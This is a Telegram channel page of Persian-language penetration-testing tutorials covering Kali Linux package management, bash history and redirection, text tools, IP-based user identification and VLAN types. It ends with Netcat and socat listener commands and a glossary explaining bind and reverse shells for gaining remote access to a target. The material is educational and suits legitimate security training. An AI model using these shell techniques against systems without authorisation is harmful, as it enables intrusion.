Try Hack Box
4.86K subscribers
572 photos
63 videos
79 files
602 links
1 Nov 2020
1399/08/11
Learn penetration testing & Red Team
https://youtube.com/@tryhackbox
Channels :
@TryHackBoxOfficial ( RoadMap )
@TryHackBoxStory ( Story Hacking )
Contact : @Unique_exploitBot
ADS (Tablighat ) :
@THBADS
Download Telegram
مقدمه: قسمت پنجم: آشنایی با کالی لینوکس:  مدیریت بسته‌ها و برنامه‌ها و لینک های مفید برای یادگیری بیشتر

مدیریت بسته‌ها و برنامه‌ها

برای مدیریت بسته‌ها یا برنامه‌ها، از مجموعه ابزارهای APT (Advanced Package Tool) استفاده می‌شود که وابستگی‌های برنامه‌ها را به صورت هوشمند مدیریت می‌کند.

  * apt update: لیست بسته‌ها را به‌روز می‌کند.
  * apt upgrade: تمام بسته‌های نصب‌شده را ارتقاء می‌دهد. قبل از این کار، بهتر است از ماشین مجازی خود یک اسنپ‌شات (Snapshot) بگیرید.
  * apt install: برای نصب یک بسته جدید.
  * apt remove --purge: یک بسته را به طور کامل همراه با فایل‌های پیکربندی حذف می‌کند.

مثال:
برای نصب برنامه pure-ftpd:

sudo apt install pure-ftpd


برای حذف کامل آن:

sudo apt remove --purge pure-ftpd


dpkg ابزار اصلی و پایه برای نصب بسته‌هاست که می‌تواند در حالت آفلاین نیز کار کند، اما وابستگی‌های برنامه را به صورت خودکار نصب نمی‌کند.

مثال:
برای نصب یک فایل بسته‌ی .deb که از قبل دانلود شده است:

sudo dpkg -i package.deb




منابع آموزشی و مستندات

1. سایت ابزارهای کالی (Kali Tools Site): لیستی از ابزارها و اطلاعات آن‌ها.

    Kali Tools
2. Bug Tracker: برای گزارش و یافتن راه‌حل باگ‌ها.

  Kali Linux Bug Tracker

3. سایت آموزشی کالی (Kali Linux Training Site): شامل کتاب Kali Linux Revealed، تمرینات و فروم پشتیبانی برای کاربران تمام سطوح.

   Kali Training

این منابع رایگان، بینشی ارزشمند را فراهم می‌کنند و به عنوان یک همراه عالی برای آموزش عمل خواهند کرد.

✍️نویسنده
@TryHackBox| احسان آخوندی

#pwk #CyberSecurity
👍7
مقدمه: قسمت ششم: آشنایی با کامند لاین(command line)

در لینوکس، Bash (Bourne Again Shell) یکی از محبوب‌ترین و پرکاربردترین شل‌ها (shell) است که برای تعامل با سیستم از طریق خط فرمان استفاده می‌شود. محیط‌های بش به طور کلی به تنظیمات و متغیرهایی اشاره دارند که رفتار و نحوه عملکرد بش را تحت تاثیر قرار می‌دهند.

1. Bash Environments چیست؟

محیط‌های بش (Bash environments) مجموعه‌ای از متغیرها، تنظیمات و فایل‌ها هستند که نحوه عملکرد بش و همچنین رفتار دستورات و شل را مشخص می‌کنند. این محیط‌ها می‌توانند ویژگی‌هایی مانند مسیر فایل‌ها، اطلاعات مربوط به دستورات قبلی و تنظیمات شخصی‌سازی شِل را تعیین کنند.

Bash environments شامل متغیرهای محیطی (environment variables) و فایل‌های پیکربندی است که می‌توانند نحوه اجرای بش و سایر فرآیندها را تغییر دهند.

2. متغیرهای محیطی (Environment Variables)

متغیرهای محیطی اطلاعاتی هستند که توسط سیستم عامل و برنامه‌ها در هنگام اجرای یک برنامه در دسترس قرار می‌گیرند. در بش، این متغیرها می‌توانند اطلاعاتی مانند مسیرهایی که برای جستجوی فایل‌های اجرایی استفاده می‌شوند، نام کاربری، و پیکربندی‌های مربوط به سیستم را ذخیره کنند.

برخی از مهم‌ترین و رایج‌ترین متغیرهای محیطی در بش عبارتند از:

* PATH:
مسیرهایی که بش برای جستجوی برنامه‌های اجرایی در آن‌ها جستجو می‌کند. این متغیر شامل لیستی از مسیرها است که در آن‌ها دستوراتی که وارد می‌کنید جستجو می‌شود.
  echo $PATH
 


* HOME:
مسیر دایرکتوری خانگی کاربر جاری. این مسیر به طور پیش‌فرض دایرکتوری‌ای است که کاربر در آن قرار دارد.
  echo $HOME
 


* USER:
نام کاربری جاری که در سیستم وارد شده است.
  echo $USER
 


* SHELL:
شل پیش‌فرض که برای اجرای دستورات استفاده می‌شود.
  echo $SHELL
 


3. فایل‌های پیکربندی Bash

بش از چندین فایل پیکربندی برای ذخیره تنظیمات و شخصی‌سازی محیط استفاده می‌کند. این فایل‌ها به شما این امکان را می‌دهند که تنظیمات خود را در طول جلسات مختلف شل حفظ کنید.

برخی از مهم‌ترین فایل‌های پیکربندی بش عبارتند از:

* /etc/profile:
این فایل برای پیکربندی سیستم به‌طور کلی استفاده می‌شود و تنظیمات مشترک برای تمامی کاربران در آن قرار دارد. این فایل در هنگام شروع اولین شل (برای هر کاربر) اجرا می‌شود.

* \~/.bash\_profile یا \~/.profile:
این فایل برای پیکربندی تنظیمات محیطی خاص به هر کاربر استفاده می‌شود. این فایل هنگام ورود به سیستم توسط کاربر اجرا می‌شود.

* \~/.bashrc:
این فایل برای تنظیمات محیطی و پیکربندی‌های اضافی برای جلسات شل تعاملی استفاده می‌شود. این فایل به طور خودکار در هر بار شروع یک شل جدید اجرا می‌شود.

* /etc/bash.bashrc:
این فایل مشابه با ~/.bashrc است، اما برای تمامی کاربران سیستم کاربرد دارد و به تنظیمات عمومی می‌پردازد.

* \~/.bash\_logout:
این فایل برای تنظیمات مربوط به هنگام خروج از شِل استفاده می‌شود و معمولاً برای پاک‌سازی محیط و انجام برخی از کارهای نهایی پس از خروج از شل استفاده می‌شود.


✍️نویسنده
@TryHackBox| احسان آخوندی

#pwk #CyberSecurity
7
مقدمه: آشنایی با کالی لینوکس: قسمت هفتم: Tab Completion & Bash History Tricks
1. Tab Completion

ویژگی بسیار مفیدی در Bash است که به شما این امکان را می‌دهد تا دستورات، فایل‌ها و دایرکتوری‌ها را به سرعت با فشردن کلید Tab کامل کنید. این ویژگی به شما کمک می‌کند تا زمان زیادی را صرف نوشتن کامل دستورات نکنید و اشتباهات تایپی را کاهش دهید.

چطور کار می‌کند؟

زمانی که شما در حال نوشتن یک دستور یا مسیر فایل هستید، می‌توانید از کلید Tab برای تکمیل خودکار نام فایل‌ها، دایرکتوری‌ها، دستورات و متغیرهای محیطی استفاده کنید.

——————————————————

مثال‌ها:

1. تکمیل نام دستورات:
فرض کنید می‌خواهید دستور ls را تایپ کنید. به جای نوشتن کامل دستور، کافیست ابتدا l را تایپ کرده و سپس کلید Tab را فشار دهید. Bash بلافاصله آن را کامل می‌کند:
l<tab>


2. تکمیل نام فایل‌ها و دایرکتوری‌ها:
فرض کنید در دایرکتوری /home/user/ هستید و می‌خواهید وارد دایرکتوری Documents شوید. کافیست حرف اول را تایپ کنید:
cd Doc<tab>

اگر چند دایرکتوری با نام مشابه وجود داشته باشد، Bash گزینه‌های مختلف را لیست خواهد کرد تا شما یکی را انتخاب کنید.



3. تکمیل پارامترهای دستورات:
در دستورات خاص مانند git، پس از نوشتن نام دستور می‌توانید با فشار دادن Tab**، لیستی از پارامترها یا زیردستورات را مشاهده کنید:
git <tab>

ویژگی‌های اضافی:
* اگر بیش از یک گزینه برای تکمیل وجود داشته باشد، Bash آن‌ها را نمایش می‌دهد.
* اگر چند گزینه با حروف مشترک شروع شوند، با دوباره زدن Tab تکمیل دقیق‌تری انجام می‌شود.


—————————————————


2. Bash History Tricks (ترفندهای تاریخچه Bash)
تاریخچه بش به شما امکان می‌دهد که به دستورات قبلی وارد شده در شل دسترسی پیدا کنید. بش به طور خودکار این دستورات را در فایلی به نام ~/.bash_history ذخیره می‌کند.


ویژگی‌ها و ترفندهای استفاده از تاریخچه:

1. نمایش تاریخچه دستورات:
با این دستور می‌توانید لیستی از دستورات قبلی خود را ببینید:
history



2. اجرای مجدد یک دستور با شماره:
هر دستور در لیست history شماره‌ای دارد. برای اجرای مجدد آن از ! به همراه شماره استفاده کنید:
!5

(فرض بر این است که دستور شماره ۵، مثلاً ls باشد)


3. جستجوی دستورات قبلی:
برای جستجوی سریع در بین دستورات قبلی، از Ctrl + r استفاده کنید:
Ctrl + r
# سپس تایپ کنید:
git

Bash به‌صورت زنده دستوراتی که با git شروع شده‌اند را نمایش می‌دهد.



4. اجرای مجدد آخرین دستور:
برای اجرای مجدد آخرین دستور وارد شده:
!!

3. HISTSIZE و HISTFILESIZE

در بش، دستورات واردشده در شِل در یک تاریخچه ذخیره می‌شن. این تاریخچه دو بخش داره:

1. حافظه موقتی (داخل رم)
2. فایل دائمی (معمولاً: ~/.bash_history)

و این دو متغیر نقش دارن در محدود کردن اندازه این تاریخچه.

--------------

🔸 HISTSIZE
* تعداد خطوطی که Bash در حافظه نگه می‌داره
* یعنی چند دستور اخیر درون حافظه باقی بمونه (برای دسترسی سریع با فلش بالا و پایین)

مثال:

HISTSIZE=1000

یعنی حداکثر ۱۰۰۰ دستور اخیر در حافظه نگهداری می‌شه تا وقتی ترمینال بازه.

—————————————

🔸 HISTFILESIZE

* تعداد خطوطی که در فایل .bash_history ذخیره می‌شه
* وقتی از ترمینال خارج می‌شی، این تعداد دستور توی فایل می‌مونه

مثال:
HISTFILESIZE=2000

یعنی فقط ۲۰۰۰ دستور آخر در فایل تاریخچه ذخیره خواهد شد. قدیمی‌ترها پاک می‌شن.


📍 کجا تنظیم می‌شن؟
معمولاً داخل فایل ~/.bashrc یا ~/.bash_profile یا /etc/profile اینا رو می‌نویسن:
export HISTSIZE=1000
export HISTFILESIZE=2000


———————————————————

کلیدهای جهت‌دار (↑ ↓) در هیستوری چه می‌کنن؟
فلش بالا (↑)
  دستور قبلی که وارد کردی رو نشون می‌ده
  (هر بار بزنی، می‌ره به دستور قبلی‌تر)

فلش پایین (↓)
  وقتی از فلش بالا استفاده کردی، با فلش پایین می‌تونی به دستورات جدیدتر برگردی


📌 نکته:
دستورات از حافظه (HISTSIZE) خونده می‌شن، نه از فایل .bash_history
مگر اینکه history رو دستی بخونی یا ترمینال دوباره باز بشه



مثال کاربردی:
فرض کن این تنظیمات رو داری:
HISTSIZE=3
HISTFILESIZE=100


و دستورات زیر رو پشت سر هم وارد کردی:
ls
pwd
cd /tmp
echo hello


فقط ۳ دستور آخر در حافظه باقی می‌مونه:

* pwd
* cd /tmp
* echo hello

ولی اگر خارج شی و فایل .bash_history جا داشته باشه، تا ۱۰۰ تای آخر ذخیره می‌شن.
———————————————————
✍️نویسنده
@TryHackBox| احسان آخوندی

#pwk #CyberSecurity
🔥6
مقدمه: آشنایی با کالی لینوکس:  قسمت هشتم: Redirection & Piping

در لینوکس و محیط بش، piping و redirection ابزارهای قدرتمندی برای مدیریت ورودی و خروجی (I/O) دستورات هستند. اعداد 0، 1و 2 به جریان‌های استاندارد (standard streams) اشاره دارند که هنگام اجرای هر دستور، به‌طور پیش‌فرض توسط سیستم باز می‌شوند.
———————————————————————————————
🔹  Redirection (هدایت ورودی و خروجی)
هدایت خروجی استاندارد (STDOUT)
برای ذخیره خروجی یک دستور در فایل:
ls > files.txt


این دستور، خروجی ls را به فایل files.txt می‌فرستد و دیگر در ترمینال نمایش نمی‌دهد.

معادل دقیق‌تر:
ls 1> files.txt


اینجا 1> یعنی stdout را به فایل هدایت کن.
———————————————————————————————
هدایت خطا (STDERR)
برای ذخیره فقط خطاها (نه خروجی معمولی) در یک فایل:
ls non_existent_file 2> error.txt


این دستور، پیام خطای عدم وجود فایل را در error.txt ذخیره می‌کند. خروجی عادی نمایش داده نمی‌شود چون اصلاً وجود ندارد.
———————————————————————————————
هدایت همزمان خروجی و خطا
برای ذخیره هر دو خروجی و خطا در یک فایل:
command > output.txt 2>&1


توضیح:
* > output.txt: هدایت stdout به فایل
* 2>&1: هدایت stderr به همان جایی که stdout رفته (یعنی به output.txt)

ترتیب بسیار مهم است؛ اگر بنویسید:
command 2>&1 > output.txt


خطاها به ترمینال می‌روند، چون stderr به جای قبلی stdout هدایت شده، نه جدید.

✍️نویسنده
@TryHackBox| احسان آخوندی

#pwk #CyberSecurity
👍41
🔹 3. Piping
pipe (`|`) خروجی یک دستور را به ورودی دستور دیگر می‌فرستد

مثال:
cat file.txt | grep "error"


* cat محتویات فایل را می‌دهد
* خروجی cat با | به عنوان ورودی به grep داده می‌شود
* grep فقط خط‌هایی که شامل "error" هستند را نمایش می‌دهد
———————————————————————————————
🔹 مثال ترکیبی
ذخیره خروجی در فایل، خطا در فایل دیگر:
command > out.txt 2> err.txt


———————————————————————————————
✍️نویسنده
@TryHackBox| احسان آخوندی

#pwk #CyberSecurity
👍4
مقدمه: آشنایی با کالی لینوکس: قسمت نهم: Text Searching & Manipulation

grep، sed، cut و awk

این ۴ ابزار خط فرمان برای پردازش متن هستن، ولی هرکدوم کاربرد خاص خودشونو دارن:
———————————————————————————————
🔹 grep – جستجوی الگو در متن
📌 مثال:
grep "error" logfile.txt


نمایش همه خطوطی که توشون کلمه‌ی "error" اومده.
———————————————————————————————
🔹 sed – ویرایش متن با الگو
📌 مثال:
sed 's/old/new/g' file.txt

همه‌ی "old"ها رو با "new" جایگزین می‌کنه.
———————————————————————————————
🔹 cut – جدا کردن ستون‌ها یا فیلدها
📌 مثال:
cut -d ":" -f 1 /etc/passwd


فقط ستون اول رو (مثلاً نام کاربر) از هر خط نشون می‌ده.
———————————————————————————————
🔹 awk – فیلتر و پردازش پیشرفته متن
📌 مثال:
awk '{print $1}' file.txt


فقط ستون اول (مثلاً کلمه اول هر خط) رو چاپ می‌کنه.

✍️نویسنده
@TryHackBox| احسان آخوندی

#pwk #CyberSecurity
👍5
Try Hack Box
مقدمه: آشنایی با کالی لینوکس: قسمت نهم: Text Searching & Manipulation grep، sed، cut و awk این ۴ ابزار خط فرمان برای پردازش متن هستن، ولی هرکدوم کاربرد خاص خودشونو دارن: ——————————————————————————————— 🔹 grep – جستجوی الگو در متن 📌 مثال: grep "error" logfile.txt…
📌یک مثال جامع:
دستور نشان داده‌شده در زیر یک خط فرمان ترکیبی در بش است که از چند ابزار لینوکسی برای آنالیز فایل لاگ استفاده می‌کند(شناساندن مهاجم ها با بیشترین فرکانس لاگ):
cat access.log | cut -d " " -f 1 | sort | uniq -c | sort -urn

———————————————————————————————
1. cat access.log
* این دستور محتوای کامل فایل access.log را نمایش می‌دهد و آن را به مرحله بعدی از طریق pipe (|) منتقل می‌کند.
* فایل access.log معمولاً یک فایل گزارش (log) سرور وب است که شامل اطلاعاتی مانند IP کاربران، زمان درخواست، نوع درخواست و... می‌باشد.
———————————————————————————————
2. cut -d " " -f 1
* دستور cut برای برش زدن (استخراج) فیلدهایی از متن استفاده می‌شود.
* -d " " مشخص می‌کند که جداکننده فیلدها اسپیس است.
* -f 1 به این معناست که فقط فیلد اول (ستون اول) استخراج شود.

در فایل‌های لاگ وب، فیلد اول معمولاً آدرس IP کاربر است، بنابراین این دستور فقط IPها را جدا می‌کند.
———————————————————————————————
3. sort
* این دستور لیست IPها را به‌صورت مرتب‌شده (حروفی) در می‌آورد.
* مرتب‌سازی برای این است که دستور uniq بتواند تعداد تکرارهای هر IP را درست بشمارد (چون uniq فقط موارد تکراری پشت‌سرهم را تشخیص می‌دهد).
———————————————————————————————
4. uniq -c

* دستور uniq لیست مرتب‌شده را گرفته و مقادیر تکراری را یکی می‌کند.
* گزینه -c باعث می‌شود که تعداد تکرار هر مقدار نیز نمایش داده شود.

مثال خروجی:
   15 192.168.1.5
   23 10.0.0.1


———————————————————————————————
5. sort -urn

* خروجی uniq -c را می‌گیرد و دوباره مرتب می‌کند.
* گزینه‌ها:

  * -u:  uniq
  * -r: مرتب‌سازی نزولی (بیشترین تعداد اول)
  * -n: مرتب‌سازی عددی (براساس تعداد درخواست‌ها)

نتیجه نهایی: لیستی از IPهایی که بیشترین درخواست را به سرور داشته‌اند، به ترتیب از بیشترین به کمترین.

———————————————————————————————
🎯 کاربرد کلی دستور
این خط فرمان به شما نشان می‌دهد:
کدام آدرس‌های IP بیشترین تعداد درخواست را به سرور فرستاده‌اند
(برای مثال جهت شناسایی کاربران فعال یا حملات احتمالی مثل brute force یا DOS)
———————————————————————————————
✍️نویسنده
@TryHackBox| احسان آخوندی

#pwk #CyberSecurity
👍6
🚀 پارت 2 (A)
شناسایی کاربران با آدرس IP
یکی از ساده‌ترین و قدیمی‌ترین روش‌ها برای شناسایی کاربران در وب، استفاده از آدرس IP کلاینت است. زمانی طراحان اولیه وب تصور می‌کردند که IP می‌تواند نشان‌دهنده هویت یک کاربر باشد؛ چون فرض بر این بود که هر کاربر یک IP منحصر‌به‌فرد دارد.

اما در دنیای واقعی، این فرض بسیار ناپایدار و پرایراد است. چرا؟

⚠️ محدودیت‌های جدی در استفاده از IP برای شناسایی کاربران:

1️⃣ اشتراک‌گذاری IP توسط چند کاربر
اگر چند کاربر از یک کامپیوتر یا شبکه (مثلاً کافی‌نت یا دانشگاه) استفاده کنند، همگی از یک آدرس IP بیرونی دیده می‌شوند. بنابراین شما کاربر را نمی‌شناسید، بلکه فقط دستگاه یا شبکه‌ را تشخیص می‌دهید.

✍️نویسنده
@TryHackBox | The Chaos

#HTTP #Cookies #CyberSecurity
👍5
🚀 پارت 2 (B)
شناسایی کاربران با آدرس IP

2️⃣ تخصیص پویا (Dynamic IP)

اکثر سرویس‌دهنده‌های اینترنت (ISP) به کاربران خود هر بار که به اینترنت متصل می‌شوند، یک IP جدید اختصاص می‌دهند. بنابراین:

* امروز یک کاربر با IP A متصل می‌شود،
* فردا همان کاربر با IP B.

🔁 این یعنی IP نمی‌تواند به‌تنهایی برای شناسایی کاربران در جلسات مختلف قابل اعتماد باشد.

3️⃣ استفاده از NAT (ترجمه آدرس شبکه)

در بسیاری از شبکه‌های خانگی یا سازمانی، ده‌ها دستگاه از طریق یک مودم و با استفاده از تکنولوژی NAT به اینترنت متصل می‌شوند. در نتیجه:

* همه دستگاه‌ها از نظر بیرونی یک IP مشترک دارند،
* اما در پشت صحنه، IP داخلی آن‌ها متفاوت است مانند زیر
192.168.x.x

📌 از دید سرور، همه آن کاربران یکی دیده می‌شوند!

4️⃣ پنهان‌سازی IP با پروکسی یا گیت‌وی

بسیاری از کاربران از پروکسی‌ها، گیت‌وی‌ها یا VPN استفاده می‌کنند که ارتباط را از طرف آن‌ها ارسال می‌کند. در این حالت، سرور فقط آدرس IP واسطه را می‌بیند نه آدرس واقعی کلاینت را.

برخی پراکسی‌ها برای شفاف‌سازی، هدرهایی مثل:

X-Forwarded-For
Client-IP


اضافه می‌کنند که ممکن است آدرس IP واقعی کاربر را نشان دهند. ولی این هدرها به راحتی قابل جعل (Spoof) هستند و قابل اعتماد صددرصدی نیستند.

💡 آیا هنوز از IP در امنیت استفاده می‌شود؟

بله! با وجود تمام محدودیت‌ها، بسیاری از وب‌سایت‌ها هنوز از IP برای:

* بررسی ناهنجاری‌ها (مثلاً تغییر ناگهانی IP در نشست)
* اعمال محدودیت‌های جغرافیایی (Geo-blocking)
* کنترل دسترسی‌های خاص در اینترانت‌ها

استفاده می‌کنند. اما باید توجه داشت که IP باید فقط بخشی از یک مکانیزم ترکیبی شناسایی باشد، نه ابزار اصلی.

📌 جمع‌بندی:
آدرس IP به‌تنهایی برای شناسایی دقیق کاربر کافی نیست، و اگرچه در بعضی کاربردها مفید است، اما در شبکه‌های مدرن، استفاده صرف از آن یک نقطه ضعف امنیتی و شناختی خواهد بود.

✍️نویسنده
@TryHackBox | The Chaos

#HTTP #Cookies #CyberSecurity
6
آشنایی با کالی لینوکس: قسمت دهم: کار با متن و ابزارهای متنی،مدیریت فرآیندها، مانیتورینگ و Netcat

جستجو و دستکاری متن (Text Searching and Manipulation)
grep:
برای جستجوی عبارت‌های منظم در فایل‌های متنی و نمایش خطوط مطابق با الگو  
- آپشن‌های رایج:
  - -r: جستجوی بازگشتی
  - -i: نادیده گرفتن حروف کوچک و بزرگ  

- مثال:

grep "href=" index.html

🔸 grep:
جستجوی کلمه یا الگو در فایل. در اینجا به دنبال رشته "href=" در فایل index.html می‌گردد.

- مثال پیشرفته:

grep -o '[^/]*\.megacorpone\.com' index.html | sort -u > list.txt

🔸 -o: فقط خود متن مطابق را چاپ می‌کند.  
🔸 [ ^/ ]*: هر چیزی قبل از / را می‌گیرد.  
🔸 sort -u: مرتب‌سازی و حذف تکراری‌ها.  
🔸 >: خروجی را داخل فایل list.txt ذخیره می‌کند.

sed:
ویرایشگر جریان (stream editor) قدرتمند برای دستکاری متن  
- مثال:
echo "I need to try hard" | sed 's/hard/harder/'

🔸 sed 's/hard/harder/':
کلمه "hard" را با "harder" در رشته جایگزین می‌کند.


cut:
برای استخراج فیلدهایی از یک خط متن  
- گزینه‌های رایج:
  - -f: شماره فیلد
  - -d: جداکننده فیلد  
- مثال:
echo "I hack binaries,web apps,mobile apps, and just about anything else" | cut -f 2 -d ","

🔸 -d ",": جداکننده فیلدها را کاما قرار می‌دهد.  
🔸 -f 2: فیلد دوم یعنی "web apps" را جدا می‌کند.


awk:
زبان برنامه‌نویسی خط فرمان برای پردازش متن، انعطاف‌پذیرتر از cut  
- مثال:

echo "hello::there::friend" | awk -F "::" '{print $1, $3}'

🔸 -F "::": جداکننده فیلدها را :: قرار می‌دهد.  
🔸 {print $1, $3}: فیلدهای اول و سوم را چاپ می‌کند.

✍️ ویرایش فایل‌ها از خط فرمان
nano:
ویرایشگر متنی ساده.  
nano filename.txt

🔸 باز کردن فایل برای ویرایش در محیط nano.


vi:
ویرایشگر پیشرفته با حالت‌های مختلف و قابلیت‌های بیشتر.  
vi filename.txt

🔸 باز کردن فایل در محیط vi.

---
🧾 مقایسه فایل‌ها
comm:
مقایسه خط به خط دو فایل مرتب‌شده.  
comm file1.txt file2.txt

🔸 ستون‌های مقایسه: فقط در اولی، فقط در دومی، در هر دو.


comm -12 file1.txt file2.txt

🔸 -12: فقط نمایش خطوط مشترک.
diff:
نمایش تفاوت‌ها بین دو فایل.  
diff -u file1 file2

🔸 -u: فرمت یکنواخت (unified) برای نمایش تفاوت‌ها.


vimdiff:
نمایش گرافیکی تفاوت فایل‌ها در محیط vim.  
vimdiff file1 file2

---
⚙️ مدیریت فرآیندها
اجرا در پس‌زمینه:
command &

🔸 اجرای دستور در پس‌زمینه.

تعلیق با Ctrl+Z:
🔸 متوقف کردن موقت اجرای برنامه.
bg:
bg

🔸 ادامه اجرای فرآیند متوقف‌شده در پس‌زمینه.

jobs:
jobs

🔸 نمایش لیست فرآیندهای در حال اجرا یا متوقف در ترمینال.

fg:
fg %1

🔸 بازگرداندن job شماره 1 به پیش‌زمینه.

ps:
ps aux

🔸 نمایش لیست تمام فرآیندها با اطلاعات کامل.

Ctrl+C:
🔸 توقف اجرای فرآیند جاری.


🖥 ابزارهای مانیتورینگ
tail:
sudo tail -f -n 10 /var/log/syslog

🔸 -f: نمایش زنده.  
🔸 -n 10: نمایش ۱۰ خط آخر.


watch:
watch -n 5 w

🔸 -n 5: اجرای دستور w هر ۵ ثانیه برای نمایش کاربران فعال.

---
📤 انتقال فایل‌ها
wget:
wget https://example.com/file.pdf

🔸 دانلود فایل از URL مشخص.

curl:
curl -o file.pdf https://example.com/file.pdf

🔸 -o: ذخیره فایل با نام مشخص.


axel:
axel -a -n 10 -o file.pdf https://example.com/file.pdf

🔸 -a: نمایش پیشرفت  
🔸 -n: تعداد اتصالات  
🔸 -o: تعیین نام خروجی

---
⚙️ محیط Bash
HISTIGNORE:
export HISTIGNORE="ls:exit"

🔸 نادیده گرفتن دستورهای خاص از history.

HISTTIMEFORMAT:
export HISTTIMEFORMAT='%F %T '

🔸 نمایش تاریخ/زمان در خروجی history.

alias:
alias ll='ls -la'

🔸 تعریف میانبر برای دستورات.  
🔸 برای دائمی شدن به .bashrc اضافه شود.

---
🕵️ Netcat و socat
اتصال به پورت:
nc -nv 10.0.0.1 80

🔸 -n: عدم استفاده از DNS  
🔸 -v: نمایش جزئیات اتصال

شنود پورت:
sudo nc -lvp 443

🔸 -l: حالت شنونده  
🔸 -v: حالت verbose  
🔸 -p: شماره پورت

socat:
sudo socat TCP4-LISTEN:443 STDOUT

🔸 شنود بر روی TCP و ارسال داده به خروجی.

✍️نویسنده
@TryHackBox| احسان آخوندی

#pwk #CyberSecurity
10
🖥انواع VLAN

1️⃣ Default VLAN – پورتی که به‌صورت پیش‌فرض تمام پورت‌ها در آن قرار می‌گیرند.
2️⃣ Data VLAN (User VLAN) – ترافیک کاربران نهایی مانند رایانه‌های شخصی و لپ‌تاپ‌ها را مدیریت می‌کند.
3️⃣ Voice VLAN – ترافیک VoIP را اولویت‌دهی می‌کند تا مکالمات با وضوح بالا انجام شوند.
4️⃣ Management VLAN – ترافیک مدیریتی دستگاه‌های شبکه را جدا می‌کند.
5️⃣ Native VLAN – ترافیک بدون تگ (untagged) در لینک‌های ترانک را مدیریت می‌کند.
6️⃣ Trunk VLAN – چندین VLAN را بین دستگاه‌های شبکه منتقل می‌کند.
7️⃣ Private VLAN (PVLAN) – امنیت را در محیط‌های اشتراکی مانند دیتاسنترها افزایش می‌دهد.
8️⃣ Static VLAN – به‌صورت دستی تنظیم می‌شود و کنترل دقیقی ارائه می‌دهد.
9️⃣ Dynamic VLAN – به‌صورت خودکار با استفاده از آدرس‌های MAC، VLANها را اختصاص می‌دهد.

✍️نویسنده
@TryHackBox | The Chaos

#VLAN #Network #CyberSecurity
🔥3
📢 انواع VLAN و کاربردهای امنیتی آنها 🛡

🔹 1. Default VLAN
- کاربرد: همه پورت‌ها به‌صورت پیش‌فرض در این VLAN قرار می‌گیرند.
- امنیت: تغییر آن از VLAN 1 برای جلوگیری از حملات ساده ضروری است.

🔹 2. Data VLAN (User VLAN)
- کاربرد: انتقال ترافیک عادی کاربران (مثل PC و لپ‌تاپ).
- امنیت: جداسازی ترافیک داده از مدیریت و صدا برای کاهش خطرات.

🔹 3. Voice VLAN
- کاربرد: اولویت‌دهی به ترافیک VoIP برای مکالمات با کیفیت.
- امنیت: QoS (کیفیت سرویس) برای جلوگیری از اختلال در تماس‌ها.

🔹 4. Management VLAN
- کاربرد: مدیریت تجهیزات شبکه (مانند سوئیچ و روتر).
- امنیت: محدود کردن دسترسی با ACL و فایروال برای جلوگیری از نفوذ.

🔹 5. Native VLAN
- کاربرد: حمل ترافیک بدون تگ (Untagged) در لینک‌های ترانک.
- امنیت: تغییر از VLAN 1 و غیرفعال کردن DTP برای جلوگیری از VLAN Hopping.

🔹 6. Trunk VLAN
- کاربرد: انتقال چندین VLAN بین سوئیچ‌ها و روترها.
- امنیت: فیلتر کردن VLANهای غیرضروری و استفاده از VLAN اختصاصی برای ترانک.

🔹 7. Private VLAN (PVLAN)
- کاربرد: افزایش امنیت در محیط‌های اشتراکی (مثل هاستینگ).
- امنیت: جداسازی میزبان‌ها از یکدیگر حتی در یک VLAN.

🔹 8. Static VLAN
- کاربرد: تنظیم دستی پورت‌ها برای VLANهای مشخص.
- امنیت: کنترل دقیق دسترسی و کاهش خطر جابجایی غیرمجاز دستگاه‌ها.

🔹 9. Dynamic VLAN
- کاربرد: اختصاص خودکار VLAN بر اساس MAC Address.
- امنیت: نیاز به احراز هویت (مانند 802.1X) برای جلوگیری از سوءاستفاده.

🔐 نکته امنیتی:
- همیشه VLAN 1 را غیرفعال کنید.
- از VLANهای جدا برای مدیریت، داده و صدا استفاده کنید.
- ترافیک ترانک را با فیلترینگ محدود کنید.

✍️نویسنده
@TryHackBox | The Chaos

#NetworkSecurity #VLAN #Cybersecurity #Networking
🔥6
فصل اول: بخش صفرم: بعضی از اصطلاحات مهم و کاربردی به صورت خلاصه
———————————————————————————————
🔹 Shell

در دنیای هک و مدیریت سیستم، وقتی میگیم "شل" منظورمون یک رابط خط فرمان (Command Line) روی یک سیستم است که به ما اجازه می‌دهد دستورات رو اجرا کنیم.

Local Shell → شلی که روی سیستم خودت داری.
Remote Shell → شلی که روی یک سیستم از راه دور داری.

———————————————————————————————
🔹 Bind Shell

در Bind Shell، سیستم هدف یک پورت رو باز می‌کنه و منتظر می‌مونه تا ما بهش وصل بشیم.

مزیت:
ساده و مستقیم.
عیب: نیاز داره پورت روی هدف باز باشه و فایروال اجازه بده.

📌 مثال ساده:
هدف روی پورت 4444 یک bash یا cmd اجرا می‌کنه، ما به اون پورت وصل میشیم و شل می‌گیریم.

———————————————————————————————
🔹 Reverse Shell

در Reverse Shell، برعکس Bind Shell، سیستم هدف به ما وصل میشه.

* **مزیت:
معمولا راحت‌تر عبور می‌کنه چون فایروال‌ها خروجی رو کمتر محدود می‌کنند.
* عیب: نیاز داریم ما یک listener داشته باشیم که منتظر اتصال باشه.

📌 مثال:
ما روی سیستم خودمون پورت 4444 رو باز می‌کنیم، هدف به اون وصل میشه و یک شل به ما میده.

———————————————————————————————
🔹 Listener Mode

Listener یعنی برنامه‌ای که روی یک پورت گوش میده و منتظر اتصال می‌مونه.

* تو Netcat و Socat، این حالت با گزینه‌هایی مثل -l یا LISTEN: فعال میشه.
* استفاده در Bind Shell، Reverse Shell، دریافت فایل و…

———————————————————————————————
🔹 Client Mode

در Client Mode ما به یک آدرس و پورت وصل میشیم تا داده دریافت یا ارسال کنیم.

* مثال: وقتی با Netcat یا Socat میریم به IP:PORT، ما کلاینت هستیم.

———————————————————————————————
🔹 Port Forwarding

پورت فورواردینگ یعنی هدایت ترافیک یک پورت (یا آدرس) به پورت (یا آدرس) دیگه.

* کاربرد: دسترسی به سرویس‌هایی که مستقیم بهشون دسترسی نداریم.
* مثال: ارسال ترافیک پورت 8080 سیستم ما به پورت 80 یک سرور دیگه.

———————————————————————————————
🔹 Tunneling

تونل‌سازی یعنی انتقال داده از یک پروتکل یا مسیر به یک مسیر امن یا متفاوت.

* میتونه SSH Tunnel باشه، VPN، یا حتی Socat که UDP رو به TCP تبدیل میکنه.
* کاربرد: عبور از محدودیت‌های شبکه، رمزگذاری ترافیک، مخفی‌کردن مسیر ارتباط.

———————————————————————————————
🔹 Port Scanning

اسکن پورت یعنی بررسی لیستی از پورت‌ها برای فهمیدن اینکه باز هستن یا بسته.

